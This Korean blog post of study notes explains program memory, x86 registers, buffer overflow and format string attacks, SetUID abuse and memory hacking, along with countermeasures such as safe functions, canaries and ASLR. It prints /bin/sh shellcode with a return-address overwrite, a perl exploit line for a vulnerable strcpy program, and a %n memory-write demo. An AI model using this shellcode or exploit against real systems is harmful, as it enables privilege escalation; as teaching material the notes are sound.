Super Kawaii Cute Cat Kaoani
본문 바로가기
카테고리 없음

[정보보호] 코드 보안 정리

by wonee1 2025. 10. 18.
728x90

시스템 구성과 프로그램 동작

 

 

프로그램과 코드 보안

  • 보안 취약점은 하드웨어, 어셈블리어, 소스코드 중 소스코드에서 가장 쉽게 발생합니다.
  • 주된 원인은 데이터의 형태와 길이에 대한 불명확한 정의입니다.
    • 예시: 장보기 심부름에서 물품 종류와 가격을 불명확하게 알려주어 문제가 발생하는 상황.

 

시스템 메모리의 구조

  • 프로그램 동작 시 메모리에 가상 공간이 생성되며, 이 공간은 스택(Stack) 영역, 힙(Heap) 영역, 데이터 섹션, 코드 섹션 등으로 구성됩니다.
  • 로더가 프로그램을 메모리로 올립니다.

 

Stack 영역과 Heap 영역

 

특징 Stack 영역 Heap 영역
용도 프로그램 로직 인자, 프로세스 상태 저장 런타임에 필요한 데이터 임시 저장
사용 방식 복귀 주소 저장, 서브루틴 인자 전달 동적 메모리 할당 (ex: malloc())
메모리 방향 상위 주소에서 하위 주소 방향 (방향 언급 없음, 일반적으로 스택과 반대 방향으로 증가)
데이터 처리 후입선출 (LIFO) 원칙 포인터 변수를 통해 동적으로 할당 및 회수
예시 함수의 지역 변수 및 함수 실행 인자 값 malloc() 등으로 할당받은 메모리 공간
문제 발생 시   해당 힙 영역이 없어지면 메모리 부족으로 비정상 종료 (ex: free() 누락)

 

 

레지스터

  • CPU의 임시 메모리로, CPU 연산과 어셈블리어 동작에 필수적입니다.
  • 인텔 80x86 CPU가 제공하는 주요 레지스터 종류는 다음과 같습니다.
범주 레지스터 이름 비트 용도
범용 EAX (accumulator) 32 산술 연산에 사용 (함수 결과값 저장)
  EBX (base register) 32 특정 주소 저장 (주소 지정을 확대하기 위한 인덱스로 사용)
  ECX (count register) 32 반복 명령에 사용 (루프 반복 횟수, 시프트 비트 수 기억)
  EDX (data register) 32 일반 데이터 저장 (입출력 동작에 사용)
세그먼트 CS (code segment) 16 실행 기계 명령어가 저장된 메모리 주소 지정
  DS (data segment) 16 프로그램에서 정의된 데이터, 상수, 작업 영역의 메모리 주소 지정
  SS (stack segment) 16 임시 저장 데이터, 피호출 서브루틴이 사용할 데이터와 주소 포함
  ES, FS, GS (extra segment) 16 문자 연산과 추가 메모리 지정에 사용되는 여분 레지스터
포인터 EBP (base pointer) 32 SS 레지스터와 함께 스택 내 변수값 읽기 사용
  ESP (stack pointer) 32 SS 레지스터와 함께 스택의 가장 끝 주소를 가리킴
  EIP (instruction pointer) 32 다음 명령의 오프셋 저장, CS와 합쳐져 다음 수행될 명령 주소 형성
인덱스 EDI (destination index) 32 목적지 주소의 값 저장
  ESI (source index) 32 출발지 주소의 값 저장
플래그 EFLAGS (flag register) 32 연산 결과 및 시스템 상태와 관련된 여러 플래그 값 저장

 

 

 

프로그램 실행 구조 (스택과 레지스터의 실제 사용)

  • main 함수와 덧셈 서브루틴 function이 있는 프로그램 예시를 통해 스택과 레지스터의 동작을 어셈블리어 수준에서 분석합니다.
  • 함수 프롤로그(prolog): pushl %ebp, movl %esp, %ebp 명령을 통해 호출된 함수의 스택 프레임을 설정하고 이전 함수의 EBP 값을 스택에 저장합니다.
  • 함수 에필로그(epilog): leave, ret 명령을 통해 함수를 종료하고 이전 스택 상태를 복구하며 호출자로 제어를 돌려줍니다.
  • call 명령은 함수를 호출하고 복귀 주소를 스택에 저장합니다.
  • 지역 변수 할당, 인자 전달, 결과값 저장 등의 과정에서 스택과 EBP, ESP, EAX 등의 레지스터가 어떻게 사용되는지 구체적으로 설명합니다.
int function(int a, int b) {
    char buffer[10];
    a = a + b;
    return a;
}

void main() {
    int c;
    c = function(1, 2);
}

 

 

어셈블리어 코드 주요 동작:

  • pushl %ebp: 현재 EBP 값을 스택에 저장.
  • movl %esp,%ebp: ESP 값을 EBP에 복사하여 새 스택 프레임의 기준점 설정.
  • subl $12, %esp: 지역 변수(buffer[10])를 위한 공간 12바이트 할당 (패딩 포함).
  • movl 12(%ebp),%eax: function의 두 번째 인자 b (정수 2)를 EAX에 로드.
  • addl %eax,8(%ebp): function의 첫 번째 인자 a (정수 1)에 EAX 값 (2)을 더함.
  • movl 8(%ebp),%edx: a+b 결과값 (3)을 EDX에 로드.
  • movl %edx,%eax: 결과값 (3)을 EAX에 복사 (함수 반환 값은 보통 EAX에 저장됨).
  • leave: movl %ebp,%esp (스택 정리), popl %ebp (이전 EBP 복구).
  • ret: 스택에서 복귀 주소를 팝하여 EIP에 저장하고 호출자(main)로 돌아감.

 

 

셸 (Shell)

  • 운영체제를 둘러싸고 있으면서 명령어를 실행하는 해석기입니다. 조개껍데기(Shell)에 비유됩니다.
  • 종류: Bourne Shell (본셸), C Shell (C 셸), Korn Shell (콘셸) 등 다양합니다. (가장 널리 사용되는 것은 Bash)
  • 셸의 역할: 자체 내장 명령어 제공, 입출력 리다이렉션, 와일드카드, 파이프라인, 조건부/무조건부 명령열 작성, 서브셸 생성, 백그라운드 작업 처리, 셸 스크립트 작성 등.
  • 버퍼 오버플로우나 포맷 스트링 공격의 최종 목적은 '관리자 권한의 셸' 획득입니다.
  • 공격 시 /bin/sh를 기계어 코드로 변환하여 메모리에 올리는데, 이는 원하는 주소 공간에 올리기 위함입니다.

 

 

char shell[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00"
"\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01"
"\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";

void main(){
     int *ret;
     ret =(int *)&ret+2;
     (*ret)=(int)shell;
}

 

  • 위 코드를 컴파일(gcc -o shell -g -ggdb shell.c) 후 실행하면 관리자 셸을 획득할 수 있습니다.

 

프로세스 권한과 SetUID

  • SetUID: 유닉스 파일에 rwsr-xr-x와 같이 s 권한 비트가 설정된 경우를 말합니다.
    • SetUID 파일은 누가 실행하든 상관없이 해당 파일이 실행될 때 파일 소유자 권한을 가집니다.
    • 예시: /usr/bin/passwd 파일은 소유자가 root이며 SetUID가 설정되어 있어 일반 사용자가 실행해도 root 권한으로 암호를 변경할 수 있습니다.
  • SetUID를 이용한 해킹: 공격자가 셸 파일에 SetUID 권한을 부여하고, 이 파일을 일반 사용자 권한으로 실행하면 root 권한의 셸을 획득할 수 있습니다. (SetUID는 chmod 4755 명령으로 설정)

 

 

버퍼 오버플로우 공격

버퍼 오버플로우 공격의 개념

  • 데이터의 길이에 대한 불명확한 정의를 악용하여 발생하는 공격입니다.
  • 할당된 버퍼의 경계선을 넘어서 다른 메모리 영역을 덮어쓰는 것을 의미합니다.
  • 해커는 이를 통해 임의의 코드를 덮어쓰거나 프로그램의 제어 흐름을 변경할 수 있습니다.
  • 특정 함수(strcpy, gets 등)가 버퍼 오버플로우에 취약하며, 이러한 함수 사용을 피하는 것이 중요합니다.

 

버퍼 오버플로우 공격 원리

bugfile.c 예시를 통해 버퍼 오버플로우 공격 원리를 상세히 설명합니다.

 

int main(int argc, char *argv[]) {
    char buffer[10];
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

  1. char buffer[10]: 10바이트 크기의 버퍼 할당.
  2. strcpy(buffer, argv[1]): argv[1] (첫 번째 인자)의 내용을 buffer에 복사. strcpy는 입력값의 길이를 검사하지 않으므로, 10바이트를 초과하는 입력이 들어오면 버퍼 오버플로우가 발생합니다.
  3. 스택 구조 변조: strcpy 함수가 10바이트를 초과하는 데이터를 buffer에 복사하면, buffer 뒤에 있는 EBP (이전 스택 프레임의 기준 포인터) 값과 Return Address (함수 종료 후 돌아갈 주소) 값이 덮어씌워집니다.
  4. 공격 목표: 해커는 Return Address를 자신이 원하는 **셸 코드(shellcode)**의 메모리 주소로 덮어씌웁니다. 셸 코드는 관리자 권한 셸을 획득하기 위한 기계어 코드입니다.
  5. 공격 실행: perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x58\xfb\xff\xbf"'와 같이 A 문자로 버퍼를 채우고, 덮어씌울 셸 코드의 주소(예: 0xbfffb58)를 뒤에 붙여 bugfile을 실행합니다.
  6. 결과: 변조된 Return Address에 의해 프로그램은 셸 코드가 있는 주소로 점프하여 셸 코드를 실행하고, 결과적으로 관리자 권한의 셸을 획득하게 됩니다.

 

버퍼 오버플로우 공격의 대응책

  1. 버퍼 오버플로우에 취약한 함수 사용 금지:
    • strcpy, strcat, getwd, gets, fscanf, scanf, realpath, sprintf 등.
    • 대안: 길이를 제한하는 strncpy, strncat, fgets, snprintf 등 안전한 함수 사용. (ex: strncpy(dest, src, size);)
  2. 최신 운영체제 사용:
    • Non-executable Stack: 스택 영역에서 코드 실행을 불가능하게 합니다. (NX bit, DEP)
    • 스택 가드 (Stack Guard): 스택 프레임의 복귀 주소 앞에 카나리(Canary) 값을 삽입하여 오버플로우 감지 시 프로그램 종료.
    • 스택 실드 (Stack Shield): 함수 프롤로그 시 복귀 주소를 안전한 별도의 스택에 저장하고, 함수 에필로그 시 두 복귀 주소를 비교하여 변조 여부 확인.
    • ASLR (Address Space Layout Randomization): 메모리 주소 공간의 배치(스택, 힙, 라이브러리 등)를 매번 무작위로 변경하여 공격자가 셸 코드 주소를 예측하기 어렵게 만듭니

 

 

포맷 스트링 공격

포맷 스트링 공격의 개념

  • 데이터의 형태에 대한 불명확한 정의 때문에 발생하는 취약점입니다.
  • printf("%s\n", buffer);와 같이 포맷 스트링을 명확히 사용하면 문제가 없지만, printf(buffer);와 같이 사용자 입력값을 포맷 스트링으로 직접 사용하는 경우에 취약점이 발생합니다.
  • %d, %x, %s와 같은 포맷 스트링 문자 외에 %n과 같은 특수 포맷 스트링 문자를 사용하여 메모리를 읽거나 변조할 수 있습니다.
    • %n: 지금까지 출력된 총 바이트 수를 해당 주소에 저장

 

포맷 스트링 공격의 원리 (메모리 열람 및 변조)

  • 메모리 열람:
    • printf(buffer); 형태에서 buffer에 "%x %x %x %x"와 같은 포맷 스트링을 입력하면, 스택에 저장된 값들이 16진수로 화면에 출력됩니다. 이를 통해 해커는 스택의 내용을 열람할 수 있습니다.
    • test1.c: char *buffer = "wishfree\n%x\n"; printf(buffer); 실행 시 메모리 값이 출력됩니다.
  • 메모리 변조:
    • %n 포맷 스트링은 지금까지 출력된 총 바이트 수를 특정 메모리 주소에 저장하는 기능을 합니다.
    • test2.c

 

main(){
   long i=0x00000064, j=1;
   printf("i의주소: %x\n",&i);
   printf("i의값: %x\n",i);
   printf("%64d%n\n", j, &i); // 64만큼 공백을 채워 64바이트를 출력한 후, 그 64를 &i 주소에 저장
   printf("변경된i의값: %x\n",i);
}

 

 

  • 위 코드에서 printf("%64d%n\n", j, &i);는 j를 출력할 때 앞에 63개의 공백을 추가하여 총 64바이트를 출력합니다. 그리고 %n은 이 64라는 값을 변수 i의 주소(&i)에 저장합니다.
  • 결과적으로 i의 초기값 0x00000064는 0x40 (10진수 64)으로 변경됩니다.

 

이를 악용하여 해커는 프로그램의 중요한 변수나 복귀 주소 등을 원하는 값으로 변조할 수 있습니다.

 

 

 

 

 

메모리 해킹

메모리 해킹의 개념

  • 프로그램 동작에 관여하지 않고, 실행에 필요한 정보를 저장해둔 메모리를 직접 조작하는 공격입니다.
  • 주로 게임 해킹(게임 머니, 아이템 조작)에 광범위하게 사용됩니다.
  • 백도어 프로그램 설치를 통해 메모리의 패스워드를 빼내거나 계좌/금액 정보를 조작할 수 있습니다.
  • 사용자가 인지하기 어렵고, 휘발성이 강한 메모리의 특성상 흔적 추적이 매우 어렵습니다.
  • 대응책: 메모리 주소에 저장되는 값을 암호화해야 합니다.

 

728x90